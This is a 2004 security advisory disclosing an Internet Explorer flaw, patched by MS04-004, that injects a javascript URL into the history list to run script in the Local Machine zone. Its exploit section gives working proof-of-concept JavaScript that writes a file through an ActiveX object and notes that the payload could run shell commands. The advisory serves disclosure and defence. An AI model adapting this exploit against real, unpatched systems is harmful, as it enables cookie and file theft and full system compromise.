<<< Date Index >>>     <<< Thread Index >>>

Sandblad #12: Inject javascript url in history list (revisited)



                  - Sandblad advisory #12 -

/--------------------------------------------------------------/
Title:      Inject javascript url in history list (revisited)
Date:       2004-02-03
Software:   Internet Explorer
Vendor:     http://www.microsoft.com/
Status:     Patched by MS04-004
Type:       Cross site/zone scripting
Impact:     Reading arbitrary cookies/local files
            and executing remote programs          _     _
                                                 o' \,=./ `o
Author:     Andreas Sandblad, sandblad@xxxxxxxxxx   (o o)
/--=--=---=--=--=---=--=--=--=--=---=--=--=-----ooO--(_)--Ooo--/


TABLE OF CONTENTS:
==================
Summary ...................................................... 1
Vendor status ................................................ 2
Details ...................................................... 3
Exploit ...................................................... 4
FAQ .......................................................... 5
Disclaimer ................................................... 6
Feedback ..................................................... 7



(1) SUMMARY:
============
The author has found a way to inject a javascript url in the history list
causing a cross site/zone scripting attack when the user presses the
backbutton. An attacker may use this to read arbitrary cookies/local files
and execute programs leading to total system compromise if IE is run as
administrator. Users can protect themselves by downloading the latest
patch from Microsoft as described in:
http://www.microsoft.com/technet/treeview/?url=/technet/security/bulletin/MS04-004.asp



(2) VENDOR STATUS:
==================
2003-09-03:
Microsoft informed about the vulnerability.

2004-02-02:
Microsoft released patched (MS04-004).



(3) DETAILS:
============
The idea to inject javascript urls in the history list is not new. Almost
two years ago I publiced the advisory "Sandblad #4 - Using the backbutton
in IE is dangerous". The technique is quite straightforward and uses that
a javascript url is operating in the same domain as it was applied over.
Hence, it is possible to trigger a cross site/zone scripting attack when
the user presses the backbutton. Liu Die Yu described a similiar way to
inject javascript urls in history list (CAN-2003-1026) in late November
2003 and showed how it was possible to force the user to navigate back
automaticly by using frames.

Internet Explorer tries to remove javascript urls in the history list but
seems to fail in some situations. One way is to link to a resource from a
javascript url with: external.NavigateAndFind('res:','','')
where 'res:' is redirected to the Local Machine zone. When navigating back
the javascript url will be applied over the Local Machine zone.



(4) EXPLOIT:
============

// Andreas Sandblad, 2004-02-03, patched by MS04-004

// Name:     payload
// Purpose:  Run payload code called from Local Machine zone.
//           The code may be arbitrary such as executing shell commands.
//           This demo simply creates a harmless textfile on the desktop.
function payload() {
  file = "sandblad.txt";
  o = new ActiveXObject("ADODB.Stream");
  o.Open();
  o.Type=2;
  o.Charset="ascii";
  o.WriteText("You are vulnerable!");
  o.SaveToFile(file, 2);
  o.Close();
  alert("File "+file+" created on desktop!");
}

// Name:     trigger
// Purpose:  Inject javascript url in history list and run payload
//           function when the user hits the backbutton.
function trigger(len) {
  if (history.length != len)
    payload();
  else
    return "<title>-</title><body
onload=external.NavigateAndFind('res:','','')>";
}

// Name:    backbutton
// Purpose: Run backbutton exploit.
function backbutton() {
  location = 'javascript:'+trigger+payload+'trigger('+history.length+')';
}

// Launch backbutton exploit on load
if (confirm("Press OK to run backbutton exploit!"))
  backbutton();



(5) FAQ:
========
Q: Is this issue the same as described in CAN-2003-1026?
A: No, but it has some similarities as the attack vector is injection of a
javascript url in the history list. That issue was reported by Liu Die Yu.

Q: I can't get the exploit to work. What is wrong?
A: I did get it to work. Microsoft did get it to work. Making something
work for everybody is hard and not the actual purpose. POC is important
for people to understand and learn, but should never be fine-tuned to work
perfectly.



(6) Disclaimer:
===============
Andreas Sandblad is not responsible for the misuse of the
information provided in this advisory. The opinions expressed
are my own and not of any company. In no event shall the author
be liable for any damages whatsoever arising out of or in
connection with the use or spread of this advisory. Any use of
the information is at the user's own risk.



(7) Feedback: <-- Don't hesitate!
=============
Please send thoughts and comments to:              _     _
sandblad@xxxxxxxxxx                              o' \,=./ `o
                                                    (o o)
---=--=---=--=--=---=--=--=--=--=---=--=--=-----ooO--(_)--Ooo---
Andreas Sandblad, Umeå Sweden.
---=--=---=--=--=---=--=--=--=--=---=--=--=--=--=--=--=--=---=--